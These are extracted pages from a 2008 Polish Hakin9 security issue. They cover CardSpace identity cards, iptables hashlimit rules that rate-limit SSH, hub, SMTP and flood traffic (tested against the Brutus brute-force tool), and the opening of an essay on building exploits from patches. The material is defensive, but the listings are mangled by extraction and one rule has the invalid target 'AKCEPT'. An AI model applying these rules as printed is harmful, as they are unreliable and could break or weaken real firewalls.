Active Directory, które nie wymagają 
zależności wymaganych w przypadku 
usługi katalogowej (np. nie wymagają 
wdrażania domen ani kontrolerów 
domen);

•   CardSpace – omawiany w dalszej 

części artykułu;

•   Kerberos – protokół, który do 

autoryzacji wykorzystuje centrum 
dystrybucji kluczy;

•   MIIS (Microsoft Identity Integration 

Server) – stanowi najważniejszy 
komponent w systemach zarządzania 
tożsamością. Jest narzędziem, 
którego zadaniem jest kontrola 
operacji provisioningu nowych 
tożsamości i deprovisioningu już 
istniejących, zarządzanie hasłami i 
synchronizowanie danych pomiędzy 
podłączonymi źródłami danych;

•   ILM (Identity Lifecycle Manager

– jest platformą dla synchronizacji 
tożsamości, certyfikatów i zarządzania 
hasłami oraz użytkowników (następca 
MIIS).

•  LiveID – Windows Live ID (dawniej 

Microsoft Passport lub .NET 
Passport) to ogólnodostępny, jednolity 

system, umożliwiający dowolnym 
użytkownikom (nie tylko klientom 
Microsoft) korzystanie ze wszystkich 
stron Microsoft wymagających 
logowania.

CardSpace

CardSpace to technologia identyfikacji 
i zarządzania tożsamością 
zaimplementowana w Windows Vista 
(dostępna także w Windows XP jako część 
.NET Framework 3.0). Poprzednia nazwa 
tej technologii to InfoCard. W Cardspace 
poszczególni wystawcy tożsamości są 
prezentowani użytkownikowi w postaci 
kart. Na karcie zapisywane są metadane 
reprezentujące możliwości wystawcy 

takiej tożsamości. Wśród nich możemy 
wyróżnić: rodzaje dostarczanych 
stwierdzeń, formaty tokenów, lokalizację 
STS. Karta jest reprezentowana przez 
dokument XML zawierający metadane 
i obrazek podpisany przez wystawcę 
przy użyciu XMLDSIG (XML digital 
signature). Dokument ten (w postaci pliku 
*.crd) stanowi kartę informacyjną (ang. 
Information Card), która reprezentuje 
relację użytkownika z wystawcą 
tożsamości. Istnieją dwa rodzaje kart: 

•   osobiste – przypominające wizytówki, 

mają one kilkanaście pól zawierających 
podstawowe dane, karty te tworzy sam 
użytkownik,

Listing 1. 

Uruchomienie CardSpace w aplikacji ASP.NET 2.0

<

form name=“logon page

" method="

post”

 

  

 

  

<

object type=

"application/x-informationcard"

 

name=

"xmlToken"

>

      

<

param name=

"tokenType"

 

value=

"urn:oasis:names:tc:SAML:1.0:assertion"

>

      

<

param name=

"issuer“ value="

http://schemas/.../identity/issuer/self"

>

      

<

param name=

"requiredClaims"

value=

 

       

"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress

          http://"

http://schemas/.../identity/claims/privatepersonalidentifier"

>

   

<

/object

>

<

/form

>

Rysunek 5. 

Tworzenie nowej karty

Rysunek 4. 

Pusta lista kart

background image

OBRONA

54

 

HAKIN9 9/2008

ZARZĄDZANIE TOŻSAMOŚCIĄ

55

 

HAKIN9 

9/2008

•  zarządzane – wydawane przez 

instytucje (np. pracodawcę), 
zawierające dowolną liczbę pól, są one 
przechowywane na serwerze instytucji, 
która je wydała.

Użytkownicy autentykują się do stron 
WWW oraz różnych serwisów przez 
wybranie z zestawu wirtualnych 
identyfikatorów (kart) tej, która identyfikuje 
użytkownika. Użytkownik może mieć 
kilka kart, które mogą mu służyć do 
autoryzacji w różnych serwisach lub 
stronach. 

Założenia dla CardSpace są 

następujące:

•   Niezależne od przeglądarki 

– zdefiniowane są mechanizmy 
wspierające implementację dla 
dowolnej przeglądarki i na dowolnej 
platformie;

•   Niezależne od serwera WWW 

– protokoły komunikacyjne wspierane 
są przez dowolną stronę WWW oraz 
platformę;

•   Minimalna ingerencja w stronę WWW – 

udogodniona adaptacja mechanizmu 
przez minimalne zmiany w istniejącej 
stronie;

•   Brak stałej integracji z przeglądarką 

– obsługa kart ma być plugin’em 
do przeglądarki, a nie jej częścią 
integralną;

•  Praca z przeglądarką przy 

wysokim poziomie bezpieczeństwa 
– dostarczany mechanizm aktywacji 
wyboru pozwala na pracę również 
wtedy, gdy przeglądarka ma ustawiony 
poziom bezpieczeństwa Wysoki.

Przepływ pracy użytkownika i 
poszczególnych elementów systemu 
przedstawiony został na Rysunku 1. 
Jak widać z tego rysunku, pierwszym 
krokiem użytkownika po wejściu na 
stronę, która wykorzystuje CardSpace, 
jest przejście na stronę logowania. W 
momencie, kiedy użytkownik ma się 
zalogować do strony, zostaje poproszony 
o podanie hasła lub wybór karty 
(Rysunek 2). Po wyborze karty przez 
użytkownika zostaje ona przekazana 
do centrum autoryzacji w celu 
potwierdzenia tożsamości. Dzieje się 
to zupełnie automatycznie, bez wiedzy 
użytkownika. 

Jeśli użytkownik zostanie 

zweryfikowany poprawnie, otrzymuje 
token, którym następnie posługuje się 
przeglądarka w komunikacji z wybraną 
stroną WWW. 

Z punktu widzenia użytkownika 

końcowego praca z CardSpace jest 
bardzo prosta. Na przykładzie Windows 
Vista prześledźmy proces tworzenia 
takiej karty. W Panelu Sterowania 
znajdujemy opcję odpowiedzialną za 

CardSpace (Rysunek 3). Następnie 
uruchamiamy tę opcję i dostajemy listę 
stworzonych kart. W naszym przypadku 
lista jest pusta (Rysunek 4). Wybieramy 
opcję Utwórz nową kartę i zostajemy 
poproszenie o wybranie rodzaju karty. 
Wybieramy karta osobista i wypełniamy 
ją danymi (Rysunek 5). Po zapisaniu 
danych nasza lista z karatami została 
wzbogacona o nowo utworzoną kartę 
(Rysunek 6).

We wcześniejszym fragmencie 

tekstu dotyczącym założeń napisałem, 
że kwestia integracji aplikacji Web z 
mechanizmem kart ma być prosta. 
Jak zatem wygląda taka integracja? 
Generalnie należy dodać fragment 
kodu HTML, który będzie odpowiadał 
za pokazanie selektora kart. Jest to 
jasno zdefiniowany typ aplikacji, który 
osadzamy jako obiekt na stronie. Poniżej 
fragment kodu HTML odpowiedzialny za 
ten proces.

Z punktu widzenia programisty to w 

zasadzie wszystko. Ze strony konfiguracji 
witryny wymagane jest włączenie protokołu 
HTTPS oraz obsługi Extended Validation 
dla certyfikatów.

Jeśli chodzi o implementację 

InfoCard, to nie tylko Microsoft jest 
tutaj dostawcą rozwiązania. Jest 
wiele inicjatyw i projektów Open 
Source, które również je wspierają. 
Są to rozwiązania wspierane między 
innymi przez IBM, Novell, Red Hat, Sun, 
VeriSign i innych, dla których Microsoft 
oferuje pełne wsparcie technologiczne. 
Interoperacyjność poprzez opublikowane 
w sieci protokoły została pokazana 
na przykładzie gotowych rozwiązań, 
które służą między innymi do 
wyboru identyfikatorów, systemów 
sprawdzających tożsamość oraz 
dostawców tożsamości. W Internecie 
opublikowana jest pełna dokumentacja 
dla CardSpace wraz z przykładami 
użycia, implementacji, technologii, 
protokołów. 

Artur Żarski

Jest pracownikiem firmy Microsoft. Na co dzień 

zajmuje się m.in. tworzeniem rozwiązań w oparciu 

o SQL Server w różnych aspektach – bazy 

relacyjne, usługi integracyjne, usługi analityczne. 

Jest certyfikowanym administratorem baz danych 

(MCDBA).

Kontakt z autorem: arturz@microsoft.com

Rysunek 6. 

Nowo utworzona karta na liście kart

background image

56

 

OBRONA

HAKIN9 9/2008

J

ednym ze znakomitych sposobów 
dozbrajania oraz poszerzania 
funkcjonalności firewalla jest korzystanie z 

łatki hashlimit. Oferowane przez nią możliwości są 
ograniczone jedynie wyobraźnią administratora. 

Opisane w artykule rozwiązania będą 

przedstawiane oraz testowane w rzeczywistym 
środowisku, które obsługuje sieć na parę 
tysięcy klientów z dostępem do Internetu (lokalny 
ISP). Konfigurować będziemy główny router, a 
zarazem firewall, który kontroluje ruch internetowy 
indywidualnych klientów oraz serwera usługowego 
z zainstalowanymi usługami WWW/FTP/mail/
DNS/SSH
 i Verlihub.

Bronimy dostępu do SSH

Dostęp do usługi SSH na serwerze usługowym 
jest domyślnie blokowany na głównym firewallu. 
Stwarza to poważny problem podczas wyjazdu 
na wakacje lub weekend. Zdalna praca staje się 
wtedy niemożliwa. Usługa SSH blokowana jest 
ze względu na irytujące próby włamania przy 
wykorzystaniu ataku słownikowego lub brute 
force. Oczywiście można zmienić domyślny port 
usługi z 22 na jakikolwiek inny. Metoda ta jednak 
jest wątpliwie skuteczna, proste skanowanie 
serwera z poszukiwaniem banera powitalnego 
zdradzi włamywaczowi bardzo szybko nasze 
niestandardowe porty. Znacznie skuteczniejszą 
metodą jest ograniczenie ilości prób logowania 
w założonym przedziale czasu. Próba włamania 
zostanie znacząco utrudniona, gdy zezwolimy na 

JAROSŁAW 

RADZISZEWSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jak utrudnić napastnikowi ataki 

typu brute force ,

jak zminimalizować ryzyko 

udanego ataku DoS oraz DdoS,

jak chronić sieci przed atakami 

flood,

jak wykorzystywać możliwości 

hashlimit w iptables.

CO POWINIENEŚ 

WIEDZIEĆ

powinieneś umieć pisać reguły 

iptables,

powinieneś umieć ze 

zrozumieniem sniffować pakiety 

w sieci,

powinieneś znać podstawowe 

problemy związane z atakami 

DoS oraz DdoS.

dwa połączenia na minutę. Użytkownik znający 
prawidłową kombinację user/pass zaloguje 
się bez przeszkód, natomiast włamywacz 
zaopatrzony w skrypt automatycznie generujący 
hasła niemalże natychmiast zostanie odcięty 
od usługi. Będzie się tak działo, ponieważ nasz 
firewall zezwoli jedynie na dwie próby połączenia 
z usługą. Po wyczerpaniu limitu dwóch połączeń 
musi odczekać minutę w celu przetestowania 
kolejnych kombinacji user/pass. Przy nieudanej 
próbie sytuacja się powtarza, więc znowu należy 
odczekać minutę itd.

Funkcjonalność taka uzyskamy właśnie dzięki 

wykorzystaniu łatki na iptables o nazwie hashlimit

Reguły zapory przedstawione na Listingu 1. w 

pierwszej kolejności zezwalają na nowe 

(

-m state --state NEW

) połączenia z 

portem TCP/22 (domyślny port ssh) tylko raz 
na minutę, wszystkie następne połączenia są 
logowane, a następnie usuwane. W ten prosty 
sposób znacząco ograniczyliśmy włamywaczowi 
możliwość testowania kombinacji user/pass do 
zdalnej powłoki serwera.

Zabezpieczenie Verlihub

Verlihub to aplikacja tworząca tak zwany 
HUB sieci Direct Connect. Użytkownicy przy 
pomocy programów klienckich łączą się z 
hubem (serwerem), gdzie mogą dyskutować 
jak na tradycyjnym czacie oraz wymieniać się 
udostępnionymi plikami. Tak więc to nic innego, 
jak połączenie wydajnej sieci P2P z funkcjami 

Stopień trudności

Hashlimit 

Z atakami typu Brute Force mamy do czynienia na codzień. 

Zminimalizuj ryzyko udanego ataku Dos oraz Ddos czytając ten 

artykuł.

background image

57

 

HASHLIMIT

HAKIN9 

9/2008

czata. Bardzo często użytkownicy hubów 
tworzą swoiste społeczności i, jak to bywa, 
zdarzają się wszelkiego rodzaju sprzeczki, 
które w skrajnych przypadkach kończą 
się próbą przejęcia lub wręcz wyłączenia 
takiego huba przez osoby do tego nie 
uprawnione. Bez względu na pobudki, jeśli 
jest możliwość zakłócenia pracy serwera, 
można z całą pewnością stwierdzić że 
znajdzie się ktoś, kto będzie starał się ją 
wykorzystać. 

Jedną z metod zakłócenia pracy 

huba jest masowe klonowanie nicków 
i logowanie się. Następnie takie klony 
masowo wysyłają teksty na głównego 
czata, który w efekcie zostaje zaśmiecony. 
Przy odpowiedniej ilości klonów oraz 
wpisywanych tekstów, serwer ma 
problem z przetworzeniem takiej ilości 
informacji. Dalszy scenariusz jest łatwy do 

przewidzenia – hub zostaje przeciążony i 
dochodzi do klasycznego DoS, czyli Denial 
of Service.

Także i w tym przypadku z pomocą 

przyjdzie nam hashlimit.

Reguły iptables przedstawione na 

Listingu 2. są, jak widać, nieznaczną 
modyfikacją Listingu 1, zmiana 
dotyczy oczywiście portu docelowego 
– w drugim przykładzie został użyty 
domyślny port huba Direct Connect
czyli TCP/411. Ponadto został zmieniony 
limit – tym razem pozwalamy na nowe 
połączenie tylko raz na minutę. Należy 
jednak wziąć pod uwagę jeden drobny 
szczegół – na hubie, którego dotyczy 
ta reguła, wszyscy klienci posiadają 
publiczne adresy IP. Jeśli filtr ma 
dotyczyć huba z użytkownikami, którzy 
łączą się za pośrednictwem NAT (ang. 

Network Address Translation), należy 
zwiększyć limit. Związane jest to z 
faktem iż prawdopodobnie na hubie 
będzie zalogowany więcej niż jeden 
użytkownik z tym samym adresem IP. 
W tym przypadku istnieje więc pewne 
zagrożenie, że nasz filtr uniemożliwi 
zalogowanie się uprawnionemu klientowi. 
Oczywiście tylko w przypadku, gdy w 
czasie jednej minuty dwóch użytkowników 
z tym samym adresem IP będzie starało 
się zalogować.

Hashlimit 

dla serwera pocztowego

Posiadanie własnego serwera pocztowego 
obecnie stało się standardem. 
Administrator każdego takiego serwera 
nieustannie jest nękany przez spamerów. 
Problem dotyczy zarówno ogromnej ilości 

Listing 1. 

Reguły zapory

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

hashlimit

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

22

 –

hashlimit

 \ 

2

/

min

 

--

hashlimit

-

mode

 

srcip

,

dstip

 

--

hashlimit

-

name

 

ssh_limit

 

-

m

 

state

 

--

state

 

NEW

 

-

j

 

ACCEPT

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

22

 

-

m

 

state

 

--

state

 

NEW

  \    

-

j

 

LOG

 

--

log

-

level

 

info

 

--

log

-

prefix

 

"SSH BRUTE attack"

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

22

 

-

m

 

state

 

--

state

 

NEW

 

-

j

 

DROP

    

Listing 2. 

Reguły iptables

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

hashlimit

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

411

 –

hashlimit

 \ 

1

/

min

 

--

hashlimit

-

mode

 

srcip

,

dstip

 

--

hashlimit

-

name

 

hub_limit

 

-

m

 

state

 

--

state

 

NEW

 

-

j

 

ACCEPT

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

411

 

-

m

 

state

 

--

state

 

NEW

  \    

-

j

 

LOG

 

--

log

-

level

 

info

 

--

log

-

prefix

 

"HUB Flood"

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

411

 

-

m

 

state

 

--

state

 

NEW

 

-

j

 

DROP

    

Listing 3. 

Dyrektywy Postfiksa umieszczone w pliku main.cf

smtpd_error_sleep_time

 

=

 

3

smtpd_soft_error_limit

 

=

 

3

smtpd_hard_error_limit

 

=

 

5

  

Listing 4. 

Wpisy w logach serwera Postfix

Jul

 

27

 

05

:

36

:

01

 

sk1

 

postfix

/

smtpd

[

3369

]:

 

too

 

many

 

errors

 

after

 

RCPT

 

from

 

unknown

[

211.117

.

157.167

]

Jul

 

27

 

05

:

36

:

01

 

sk1

 

postfix

/

smtpd

[

3369

]:

 

disconnect

 

from

 

unknown

[

211.117

.

157.167

]

 

Jul

 

27

 

18

:

45

:

03

 

sk1

 

postfix

/

smtpd

[

19565

]:

 

too

 

many

 

errors

 

after

 

RCPT

 

from

 

unknown

[

123.56

.

100.175

]

Jul

 

27

 

18

:

45

:

03

 

sk1

 

postfix

/

smtpd

[

19565

]:

 

disconnect

 

from

 

unknown

[

123.56

.

100.175

]

   

Listing 5. 

Odciążenie serwera za pomocą hashlimit

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

hashlimit

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

25

 –

hashlimit

 \ 

3

/

min

 

--

hashlimit

-

mode

 

srcip

,

dstip

 

--

hashlimit

-

name

 

smtp_limit

 

-

m

 

state

 

--

state

 

NEW

 

-

j

 

ACCEPT

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

25

 

-

m

 

state

 

--

state

 

NEW

  \    

-

j

 

LOG

 

--

log

-

level

 

info

 

--

log

-

prefix

 

"Spam Limit"

iptables

 

-

A

 

FORWARD

 

-

i

 

<

interfejs

 

zew

>

 

-

d

 

<

ip_serwera

>

 

-

m

 

tcp

 

-

p

 

tcp

 

--

dport

 

25

 

-

m

 

state

 

--

state

 

NEW

 

-

j

 

DROP

  

background image

OBRONA

58

 

HAKIN9 9/2008

HASHLIMIT

59

 

HAKIN9 

9/2008

niechcianych przesyłek pocztowych, jak i 
prób wykorzystania serwera pocztowego 
jako pośrednika w dalszym rozsyłaniu 
spamu. 

Metod obrony przed tego typu 

problemami jest sporo, podstawową 
jest prawidłowa konfiguracja 
serwera. Standardem już są roboty 
sieciowe, które starają się obejść 
zabezpieczenia na wszelakie sposoby, 
testując metodę po metodzie. Serwer 
pocztowy Postfix ma wbudowany prosty 
– aczkolwiek skuteczny – mechanizm 
obrony, polegający na rozłączeniu 
z klientem, który zbyt często się 
myli, a w rzeczywistości stara się 
znaleźć skuteczną metodę ominięcia 
zabezpieczeń.

Listing 3. przedstawia proste dyrektywy 

Postfiksa umieszczone w pliku main.cf

Przy takiej konfiguracji serwera Postfix 

szybko zauważymy w logach wpisy 
przedstawione na Listingu 4.

Wynika z tego, iż serwer prawidłowo 

wyłapuje spamerów, można się ucieszyć i 
zostawić to tak jak jest. Można też odciążyć 
serwer pocztowy od rozmowy z takimi 
klientami – najprościej przy pomocy 
hashlimit (Listing 5).

Metoda limitowania jest identyczna, 

jak w poprzednich przykładach, 
zmieniona została tylko wielkość limitu. 
Po dokładnej analizie logów serwera 
pocztowego można zdecydowanie 
powiedzieć, że limit trzech nowych 
połączeń jest wartością bardzo 
bezpieczną – a wręcz na wyrost. 

Zabezpieczenie 

przed powodzią pakietów

Opisane powyżej funkcjonalności 
znakomicie nadają się do zabezpieczania 
wszelakich usług znajdujących się na 
serwerze. Generalizując – zabezpieczamy 
nasz serwer przed intruzami z Internetu. 
Jednakże nic nie stoi na przeszkodzie by 
wykorzystać hashlimit do zabezpieczania 
obcych serwerów przed poczynaniami 
naszych klientów. W dobie wszędobylskich 
wirusów coraz częściej niczego 
nieświadomy klient, korzystający z naszych 
usług dostępu do Internetu, zalewa 
pakietami inne sieci. Najczęściej są to 
zmasowane powodzie pakietami ICMP lub 
SYN, którymi steruje haker korzystający 
z furtki w systemie naszego klienta. W 

efekcie nasza sieć staje się intruzem 
atakującym inną sieć, a przy okazji 
taka powódź bardzo skutecznie zatyka 
naszą sieć, wskutek czego cierpią inni 
użytkownicy. 

Naturalnym zabezpieczeniem staje się 

ograniczenie ilości pakietów, jakie może 
wysłać nasz klient w kierunku Internetu. 
Metoda ta często jest stosowana w 
celu spowolnienia działania programów 

Rysunek 2. 

Syn bez Hash

Rysunek 3. 

Brutus z hash

Rysunek 1. 

Syn z hash

background image

OBRONA

58

 

HAKIN9 9/2008

HASHLIMIT

59

 

HAKIN9 

9/2008

do bezpośredniej wymiany plików, lecz 
naszym celem będzie umożliwienie 
klientowi możliwie jak najszybszego 
surfowania po Internecie oraz korzystania 
z programów p2p, przy równoczesnym 
zabezpieczeniem się przed powodziami 
pakietów.

Powodzie pakietów to zwykle 

połączenia, które nie są uzgadniane 
– wysyła się jak największą ilość pakietów, 
nie oczekując nawet na ich powrót celem 
nawiązania sesji.

Wychodząc z tego faktu, stworzymy 

proste reguły iptables:

iptables -A FORWARD -m state --state
   ESTABLISHED,RELATED -j ACCEPT 

Połączenia, które zostały wcześniej 
uzgodnione, przepuszczamy do Internetu, 
ponieważ nie spełniają warunku, który 
określiliśmy wcześniej – interesują nas 
po prostu tylko nowe połączenia, te, które 
jeszcze nie zostały nawiązane.

Skoro aktywne sesje działają 

bez ograniczeń ilości pakietów, 

przystępujemy do ograniczania ilości 
reszty pakietów wysyłanych przez 
naszych klientów.

iptables -A FORWARD -s ip_klienta 
   -m hashlimit --hashlimit-name 
      klienci  --hashlimit 30/s --
         hashlimit-mode srcip -j AKCEPT

Regułka zezwala klientowi na wysłanie 
30 nowych pakietów w jednej sekundzie 
– ilość ta nie powinna zablokować pracy 
nawet bardzo wymagających programów 
p2p. 

Ograniczenie nałożone jedynie na 

nowe połączenia nie spowoduje spadku 
transferu podczas pobierania danych z 
Internetu, w skrajnych przypadkach może 
jedynie wydłużyć czas rozpędzania się 
transferu pliku.

Na koniec dodamy regułę, która 

zablokuje resztę nie zakwalifikowanych 
dotychczas połączeń.

iptables -A INPUT -i eth2 -p icmp -m 
   length --length 120:0xffff -j DROP 

Hashlimit w akcji

Symulowanie włamania na skrzynkę 
pocztową przy wykorzystaniu bardzo 
starego ale wciąż popularnego narzędzia 
brutus. Program korzystając z metody brute 
force stara się odgadnąć hasło do skrzynki 
e-mail (pop3 port tcp 110). 

Jak widać program raportuje iż udaje 

mu się przetestować 3,3 hasła na sekundę. 
W tym samym czasie przeprowadziłem 
pomiar ilości prób nawiązania połączenia z 
serwerem pop3. 

Jak widać do serwera dociera ok. 

10 prób połączenia na sekundę. Teraz 
wykonamy dokładnie ta samą operację z 
tą różnicą iż serwer pop3 będzie chroniony 
regułą hashlimit według wcześniejszych 
opisów. Program brutus raportuje w tym 
momencie test 0,13 hasła na sekundę, 
bardzo wymownie przedstawia to ilość 
prób połączenia z serwerem pop3. 

Jak widać ograniczenie działa 

doskonale, z 10 połączeń na sekundę 
zeszliśmy do 5 na minutę, pozostaje 
jedynie życzyć powodzenia włamywaczowi 
który stara się włamać na nasze konto 
e-mail metodą brute force. Oczywiście w 
ten sposób zabezpieczamy się nie tylko 
przed atakiem brute force czy słownikowym 
ale także i może przede wszystkim 
przed atakiem DoS. Podobne metody 
zabezpieczeń oferują sprzętowe ściany 
ogniowe, ale czy warto wydawać ogromne 
kwoty na osprzęt z górnej pułki cenowej? 
Myślę iż lepiej być administratorem, który 
nie boi się wyzwań i nowych rozwiązań.

Mam nadzieję iż każdego przekonałem 

do korzystania z hashlimit podczas 
budowania własnych zapór ogniowych.

Podsumowanie

Jak widać, pomoc hashlimit przy tworzeniu 
własnej ściany ogniowej jest nieoceniona, 
zarówno w przypadku zapory broniącej 
dostępu do pojedynczej maszyny jak i całej 
sieci komputerów klienckich. 

Życzę owocnych konfiguracji i wielu 

pomysłów podczas dostrajania rozwiązań, 
które maja ustrzec przed problemami 
nasze sieci.

Jarosław Radziszewski

Jest absolwentem Politechniki Śląskiej, administratorem 

sieci komputerowych. W wolnych chwilach stara się 

prowadzić serwis www.antynet.pl. Obecnie pełni funkcję 

Kierownika Działu Informatyki SPSK nr 1 im. Prof. S. 

Szyszko ŚUM w Katowicach. 

Kontakt z autorem: amon@debacom.pl

Rysunek 4. 

Brutus bez hash

W Sieci

•   http://www.netfilter.org – strona domowa projektu netfilter,
•   http://pl.wikipedia.org/wiki/Atak_brute_force – opis ataku brute force,
•   http://pl.wikipedia.org/wiki/DDoS – opis ataków DoS oraz DdoS,
• 

http://antynet.pl – zagadnienia związane z pisaniem reguł iptables.

background image

60

 

OBRONA

HAKIN9 9/2008

W

iele czasu w dyskusjach o 
bezpieczeństwie informacyjnym zajęły 
debaty o tym, co dokładnie miałby 

zrobić uczciwy, dobroduszny człowiek w sytuacji, 
gdy wykryje poważną podatność w popularnym 
oprogramowaniu. Osoba niezorientowana w tego 
typu rozważaniach mogłaby naiwnie zapytać: 
No jak to co? Natychmiast zgłosić to autorom! 
Zależy im na jakości swojego oprogramowania, 
więc szybko przygotują poprawkę, dostarczą ją 
użytkownikom i wszyscy będą szczęśliwi. Poza 
– naturalnie – osobnikami, którzy również znali tę 
podatność i wykorzystywali ją do swoich niecnych 
celów, ale o to przecież właśnie chodzi. 

Życie pokazało wielokrotnie, że sprawa 

nie jest taka prosta. Zdarzało się nawet, że 
osobom pragnącym pomóc producentom 
oprogramowania czy administratorom danych 
usług dziękowano poprzez... skierowanie 
przeciwko nim zarzutów kryminalnych. Ujawnienie 
podatności zawsze bije w czyjeś interesy, ma 
konsekwencje nie tylko techniczne, ale także 
marketingowe, polityczne, personalne. Często 
wiąże się z sugerowaniem czyjejś niekompetencji 
czy niedbalstwa. Zapewne dlatego nierzadko 
zdarza się, że zgłoszony błąd jest ignorowany, 
bagatelizowany czy też łatany w najtańszy 
i najszybszy, ale niekoniecznie technicznie 
najlepszy sposób. 

Stąd też wzięła się koncepcja pełnego 

ujawnienia (ang. full disclosure), publicznego 
ujawnienia szczegółów podatności wszystkim 

CEZARY G. 

CEREKWICKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jakie efekty uboczne ma 

udostępnienie poprawki 

krytycznego błędu 

bezpieczeństwa,

czy możliwe jest automatyczne 

generowanie exploitów na 

podstawie patchy,

jakie nowe wyzwania stawia 

to przed producentami 

oprogramowania.

CO POWINIENEŚ 

WIEDZIEĆ

wskazana jest znajomość 

podstaw informatyki. 

zainteresowanym. Ma to w zamierzeniu wywrzeć 
presję na dostawcy oprogramowania bądź 
usługi, aby ten możliwie szybko – i możliwie 
dobrze – poprawił błędy i uniemożliwił dalsze 
ich wykorzystywanie. Podejście to jest mocno 
kontrowersyjne, ponieważ dysponując taką 
informacją nawet mało zaawansowani, ale pełni 
złych chęci ludzie będą w stanie wyrządzić wiele 
szkód. Nie mówiąc już o szkodach, które mogą 
spowodować osoby bardziej zaawansowane 
(choć nie mniej złośliwe). 

Ściera się z nią koncepcja odpowiedzialnego 

ujawnienia (ang. responsible disclosure), która 
w założeniu jest bardzo podobna, ale zawiera 
kilka istotnych różnic. Celem jest doprowadzenie 
do poprawienia błędu przez odpowiedzialną 
stronę przy możliwie niskich kosztach ubocznych. 
Publicznie ujawniane są tylko ogólniki, producent 
otrzymuje pełną wersję opisu luki oraz czas na 
przygotowanie poprawki. Jeśli wykorzystanie 
podatności daje się w jakiś sposób zablokować 
(np. poprzez odpowiednie zmiany konfiguracyjne 
albo inne tymczasowe rozwiązanie), adekwatne 
instrukcje są od razu publicznie ujawniane. Na 
przykład, gdyby odkryto podatność w danej 
implementacji protokołu RPC, zaleconoby 
administratorom zablokowanie tej usługi na 
firewallu (co swoją drogą i tak powinni zrobić, jeśli 
jej nie używają). 

Oczywiście może się zdarzyć, że producent 

jest zbyt niewrażliwy na kwestie związane z 
bezpieczeństwem i nie będzie zainteresowany 

Stopień trudności

Automatyczne 

generowanie 

exploitów 

Dowiedz się jakie są efekty uboczne poprawek krytycznego błędu 

bezpieczeństwa i uważaj bo atak na niezaktualizowaną instalację 

jest banalnie prosty!

background image

61

 

NOWY FRONT WYŚCIGU ZBROJEŃ

HAKIN9 

9/2008

szybkim rozwiązaniem problemu. Dlatego 
najczęstszym podejściem jest uprzedzenie, 
że po upływie określonego czasu wszystkie 
szczegóły dotyczące podatności zostaną 
podane do publicznej wiadomości. 

Piłeczka jest teraz po stronie 

producenta. Załóżmy, że poprawka została 
przygotowana. Powstaje jednak pytanie, 
jak ją właściwie rozdystrybuować? Jak 
się okazuje, pytanie jest tylko pozornie 
banalne. 

Patch jest groźny

Zacznijmy od prostej obserwacji. Poprawka 
błędu krytycznego z punktu widzenia 
bezpieczeństwa systemu zawiera w sobie 
informację, z której można wywnioskować, 
jaki błąd jest przez nią poprawiony. Jeśli 
porównamy oryginalny plik z plikiem 
zmodyfikowanym przez patch, możemy 
odkryć problem, z którym autorzy 
poprawki się zmagali. Na przykład, jeśli 
analiza różnic wykaże, że w nowej wersji 
kodu pojawił się fragment weryfikujący 
długość wejścia i rzucający wyjątek w 
przypadku, gdy jest on dłuższy niż jakaś 
maksymalna dopuszczalna wielkość, to 
można przypuszczać, że poprawiono 
właśnie podatność typu buffer overflow
Jeśli pojawił się kod obsługujący jakieś 
konkretne dane wejściowe, to warto się 
przyjrzeć, jak zareaguje na nie oryginalna 
aplikacja. 

Jest chyba oczywiste, jak z nowo 

nabytą wiedzą postąpi czarny kapelusznik. 
Od razu napisze exploita, przetestuje 
go w swoim środowisku i wykorzysta 
przeciwko systemowi, który jeszcze nie 
zainstalował najnowszej poprawki. Wiele 
aplikacji aktualizowanych jest ręcznie. 
Napastnik zatem może mieć całkiem 
dużo czasu na analizy, testy oraz szukanie 
ofiar. Jednak nawet w przypadku, gdy 
mowa o systemie posiadającym moduł 
automatycznej aktualizacji, pomiędzy 
momentem pojawienia się poprawki a jej 
zainstalowaniem na danym komputerze 
potrafi upłynąć bardzo dużo czasu. 

Po pierwsze, komputery bywają 

długotrwale wyłączone (np. stacjonarna 
maszyna, której właściciel wyjechał 
na narty). Po drugie wiele komputerów 
(np. laptopy) nie zawsze ma połączenie 
z Internetem, nawet jeśli są używane 
systematycznie. Po trzecie, ciągle 
pojawiają się w sieci maszyny ze starymi 

wersjami oprogramowania, które np. 
zostało zainstalowane z płyty DVD albo 
podniesione z backupu typu Norton 
Ghost i dopiero zostało podłączone do 
Internetu w celu aktualizacji. Po czwarte, 
nawet maszyny ciągle podłączone 
do sieci mogą mieć różne ustawienia 
automatycznej aktualizacji i np. sprawdzać 
je raz w tygodniu. Po piąte, nawet gdyby 
wszystkie maszyny zaczęły ściągać 
poprawkę natychmiast po jej pojawieniu 
się, to w przypadku popularnego 

oprogramowania infrastruktura sieciowa 
zapewne mocno ograniczyłaby 
ilość jednoczesnych pobrań i część 
użytkowników na pewno musiałaby trochę 
dłużej poczekać na aktualizację. 

Podsumowując, czas dystrybucji 

poprawek zawsze będzie większy od 
zera, podobnie jak czasowe okno 
potencjalnego ataku. A nawet gdy już 
większość użytkowników załata swoje kopie 
oprogramowania, ciągle będą się pojawiać 
w sieci maszyny podatne. 

